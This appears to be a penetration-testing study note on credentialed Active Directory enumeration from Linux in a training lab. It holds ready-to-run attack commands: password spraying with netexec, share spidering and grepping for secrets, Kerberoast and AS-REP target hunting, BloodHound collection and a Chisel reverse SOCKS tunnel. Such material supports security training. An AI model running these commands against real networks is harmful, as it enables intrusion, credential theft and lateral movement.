Once you hold a valid domain credential — even a low-priv one — the attack surface opens up. From a Linux foothold you can map the entire domain without touching a Windows box.
First commands after any new credential
netexec smb <DC> -u <U> -p <P>to validate, then--users --groups --shares --pass-pol --loggedon-usersin a single run. Save everything to disk — you will refer back.
NetExec / CrackMapExec
The Swiss army knife. NetExec is the maintained fork; syntax is identical.
# Validate creds
netexec smb 172.16.5.5 -u forend -p 'Klmcargo2'
# Full enumeration burst
netexec smb 172.16.5.5 -u forend -p 'Klmcargo2' \
--users --groups --shares --pass-pol \
--loggedon-users --sessions --local-groups| Flag | What it surfaces |
|---|---|
--users | Domain users with badPwdCount/badPwdTime (pre-spray gold) |
--groups | All groups with member counts |
--shares | Share list with READ/WRITE perms |
--pass-pol | Lockout threshold + password policy (required before spraying) |
--loggedon-users | Who is currently logged into the target |
--sessions | Active SMB sessions (hunt admins) |
--local-groups | Local groups on remote host |
--rid-brute | Pull users by RID range against a null/auth session |
Finding Admin Access Fast
# Spray creds across subnet — (Pwn3d!) means local admin
netexec smb 172.16.5.0/24 -u forend -p 'Klmcargo2' | grep 'Pwn3d'Spider Shares for Secrets
netexec smb 172.16.5.5 -u forend -p 'Klmcargo2' -M spider_plus --shares 'Department Shares'
netexec smb 172.16.5.5 -u forend -p 'Klmcargo2' -M spider_plus -o DOWNLOAD_FLAG=TrueSMBMap
Better for targeted share walking and file retrieval.
# List shares with permissions
smbmap -u forend -p 'Klmcargo2' -H 172.16.5.5 -d INLANEFREIGHT.LOCAL
# Recursive directory listing on one share
smbmap -u forend -p 'Klmcargo2' -H 172.16.5.5 -d INLANEFREIGHT.LOCAL \
-R 'Department Shares' --dir-only
# Grep file contents across a share for interesting strings
smbmap -u forend -p 'Klmcargo2' -H 172.16.5.5 -R 'Department Shares' \
-A '(?i)passw|secret|cred'LDAP Search (Bound Query)
Raw LDAP cuts out the middle layer. Essential when tooling is blocked or you need exotic filters.
# Bound query — prompt for password
ldapsearch -x -H ldap://172.16.5.5 \
-D 'forend@inlanefreight.local' -W \
-b "DC=inlanefreight,DC=local" \
"(objectClass=user)" sAMAccountName description
# Find users with SPNs (Kerberoast targets)
ldapsearch -x -H ldap://172.16.5.5 -D 'forend@inlanefreight.local' -W \
-b "DC=inlanefreight,DC=local" \
"(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName
# Users with PASSWD_NOTREQD flag
ldapsearch -x -H ldap://172.16.5.5 -D 'forend@inlanefreight.local' -W \
-b "DC=inlanefreight,DC=local" \
"(userAccountControl:1.2.840.113556.1.4.803:=32)" sAMAccountName
# Domain Controllers
ldapsearch -x -H ldap://172.16.5.5 -D 'forend@inlanefreight.local' -W \
-b "DC=inlanefreight,DC=local" \
"(userAccountControl:1.2.840.113556.1.4.803:=8192)" sAMAccountNamerpcclient
MS-RPC enumeration, often works where SMB auth is locked down.
rpcclient -U "inlanefreight.local\forend%Klmcargo2" 172.16.5.5Inside the shell:
enumdomusers # dump all users + RIDs
enumdomgroups # dump groups
querydominfo # domain name, server role, user count
queryuser 0x457 # user detail by RID (0x457 = 1111 dec)
querygroup 0x200 # group detail
lookupnames administrator # name -> SID
lookupsids S-1-5-21-... # SID -> name
getdompwinfo # password policy
netshareenumall # share list
RID conversion
The built-in
Administratoris always RID500(0x1f4).Domain Adminsgroup is RID512(0x200). Use these as anchors when enumerating unknown environments.
Impacket Toolkit
# User list via SAMR (works even without --users creds sometimes)
GetADUsers.py -all -dc-ip 172.16.5.5 inlanefreight.local/forend:'Klmcargo2'
# SPN hunting (prep for Kerberoasting)
GetUserSPNs.py inlanefreight.local/forend:'Klmcargo2' -dc-ip 172.16.5.5
# AS-REP roasting targets
GetNPUsers.py inlanefreight.local/ -dc-ip 172.16.5.5 \
-usersfile users.txt -format hashcatBloodHound-Python
The most important single collection you will run.
sudo bloodhound-python -u forend -p 'Klmcargo2' \
-d inlanefreight.local -ns 172.16.5.5 -c All
# Include sessions and loggedon (needs admin on targets for best results)
sudo bloodhound-python -u forend -p 'Klmcargo2' \
-d inlanefreight.local -ns 172.16.5.5 -c All,LoggedOn
# Zip output for GUI ingest
zip -r bh.zip *.jsonStart neo4j (sudo neo4j start), launch BloodHound, drag the zip onto the GUI.
Windapsearch
# Dump Domain Admins
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p 'Klmcargo2' --da
# Users with excessive privilege
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p 'Klmcargo2' -PUPowerView From Linux (Proxy In)
When you need PowerView but only have a Linux foothold, tunnel through to a Windows host.
# Start SOCKS proxy via SSH foothold
sshuttle -r user@linux-foothold 172.16.5.0/24
# Or Chisel SOCKS5 on compromised host
./chisel server -p 8000 --reverse # attacker
./chisel client <attacker>:8000 R:socks # victim
# Then from a Windows VM through proxychains, or RDP to a jump box and run:
# Import-Module .\PowerView.ps1; Get-DomainUser -SPNWorkflow Summary
- Validate creds (
netexec smb <DC> -u -p). - Pull policy before anything noisy (
--pass-pol). - Enumerate users/groups/shares in one pass.
- Run BloodHound collection immediately.
- Walk interesting shares with
smbmap/spider_plus. - LDAP for anything BloodHound missed (custom OUs, ACLs on weird objects).
- Mark accounts with SPNs and
DONT_REQ_PREAUTH— those are your next hashes.
Related
- 19 · Active Directory Enumeration & Attacks — module index
- 00 · Cheatsheet & Checklist
- AD Fundamentals
- Core Protocols
- External Recon & Initial Enumeration
- LLMNR & NBT-NS Poisoning
- Password Policy & User Lists
- Password Spraying
- Credentialed Enumeration (Windows)
- Kerberoasting & AS-REP Roasting
- ACL Abuse
- Lateral Movement & Attacks
- Trust Abuse
- Hardening & Detection
